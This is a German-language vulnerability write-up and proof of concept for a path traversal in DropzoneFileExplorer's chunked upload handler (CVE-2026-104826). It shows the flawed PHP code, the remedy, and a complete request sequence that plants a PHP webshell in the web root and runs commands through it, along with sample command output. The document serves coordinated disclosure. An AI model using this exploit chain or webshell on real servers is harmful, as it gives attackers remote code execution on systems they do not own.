
Proof-of-Concept-Exploit-Kette für CVE-2026-104826, einen Path Traversal im Chunked-Upload-Handler von DropzoneFileExplorer, der eine PHP-Webshell für Remote Code Execution schreibt.
Der resumierbare (gechunkte) Upload-Handler vertraut dem vom Client gelieferten fileName bis hinunter zu fopen(). Füttere ihn mit ../../ und du schreibst außerhalb deines erlaubten Ordners, aus dem Storage-Root heraus, in das Web-Root. Die App serviert PHP, also wird die Datei, die du platzierst, ausgeführt.
Projekt: KeepCoolCH/DropzoneFileExplorer
| CVE | CVE-2026-104826 |
| Advisory | GHSA-7626-89vx-5rpc |
| Klasse | CWE-22 (Path Traversal) -> CWE-434 -> RCE |
| Auth | standardmäßig authentifiziert, unauthentifiziert wenn AUTH_ENABLE=false |
| CVSS v4.0 | 8.5 High (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) |
| Betroffen | v1.1 (getestet bei Commit 68858e0) |
| Behoben in | v1.2 |
| Credit | Kanarat Kaeothong (Axiom0x) |
Zwei Funktionen sind relevant. uploadInit nimmt fileName aus dem Request-Body und behält es mit nichts außer einem trim() bei (inc/functions.php, etwa L2080):
$fileName = trim((string)($body['fileName'] ?? 'file')); // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json
uploadFinalize liest es später zurück und setzt den Ausgabepfad zusammen (inc/functions.php, L2192-2216):
$destDir = norm_rel((string)($meta['destDir'] ?? '')); // normalized
$relPath = norm_rel((string)($meta['relativePath'] ?? '')); // normalized
$fileName = (string)($meta['fileName'] ?? 'file'); // NOT normalized
$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs); // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
$finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
ensure_inside_allowed_roots($finalDirAbs); // dir is checked
}
$finalName = $fileName;
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName; // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b'); // arbitrary write
ensure_inside_allowed_roots() ist für sich genommen in Ordnung. Es ruft realpath() auf und stellt sicher, dass der Pfad unter den Roots des Benutzers bleibt. Das Problem ist, was ihm übergeben wird. $destBaseAbs und $finalDirAbs werden beide validiert, aber $finalAbs, derjenige, der tatsächlich das fileName des Angreifers enthält, wird nie validiert. fopen() bekommt den rohen String .../shared/../../app/shell.php und das Betriebssystem kollabiert die .. für dich.
Erwähnenswert: Jeder andere Schreibpfad in dieser Codebasis führt entweder den zusammengesetzten Pfad durch ensure_inside_allowed_roots() oder verpackt den Namen in basename(). Dieser hier macht weder noch. Es liest sich wie eine Stelle, die refaktoriert wurde und bei der die abschließende Prüfung verloren ging.
Stock v1.1, Standardkonfiguration (AUTH_ENABLE=true). Akteur ist ein normaler Benutzer lowpriv, dessen einziger Ordner shared ist.
Melde dich als lowpriv an (hole das CSRF-Token von der Login-Seite, dann POSTe auth_action=login).
Bestätige, dass die Sandbox tatsächlich funktioniert. Ein direkter Upload in den Ordner eines anderen wird verweigert:
POST /index.php?action=uploadInit
{"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
-> {"ok":false,"error":"Access denied"}
Nutze den erlaubten Ordner, aber vergifte fileName:
POST /index.php?action=uploadInit
{"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
-> {"ok":true,"uploadId":"..."}
Sende die Payload als einen Chunk:
POST /index.php?action=uploadChunk (multipart)
uploadId=<id>&index=0&total=1 + file field "chunk" = <?php system($_GET['c']); ?>
-> {"ok":true}
Finalisiere:
POST /index.php?action=uploadFinalize
{"uploadId":"<id>","policy":"overwrite"}
-> {"ok":true,"path":"app/pwned.php"}
Die Antwort meldet app/pwned.php. Die App selbst sagt dir, dass sie außerhalb von shared und außerhalb des Storage-Roots geschrieben hat.
Führe es aus:
GET /pwned.php?c=id
-> uid=... (command output)
Aus meinem eigenen Lauf gegen eine lokale Instanz:
GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...
GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64
Siehe poc/exploit.py für die vollständige Kette (Login, CSRF, Poison, Chunk, Finalize, Execute).
Jeder, der hochladen darf, kann eine Datei dorthin schreiben, wo der PHP-Prozess schreiben kann, egal was die Ordnerregeln pro Benutzer sagen. Eine .php-Datei im Web-Root bedeutet Remote Code Execution als der Web-Benutzer. Mit AUTH_ENABLE=false gibt es keinen Login-Schritt und es ist direkt unauthentifizierte RCE.
Kürze in uploadFinalize fileName auf einen bloßen Namen, bevor du ihn öffnest, und prüfe den zusammengesetzten Pfad erneut:
$finalName = basename($fileName); // kill any path component
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs); // and verify the real target
basename() allein stoppt die Traversierung. Das Hinzufügen der Prüfung ensure_inside_allowed_roots($finalAbs) ist die Belt-and-Suspenders-Version, und sie entspricht der Art und Weise, wie der Rest des Codes Schreibvorgänge bereits absichert. Dieselbe Behandlung muss auf den rename-Policy-Zweig (etwa L2210) angewendet werden, wo $finalName neu berechnet wird. Der Maintainer hat dies in v1.2 eingebaut.
Koordinierte Offenlegung, behoben bevor dies öffentlich wurde. Das PoC ist bewusst auf eine lokale Testinstanz ausgerichtet. Richte es nicht auf etwas, das dir nicht gehört.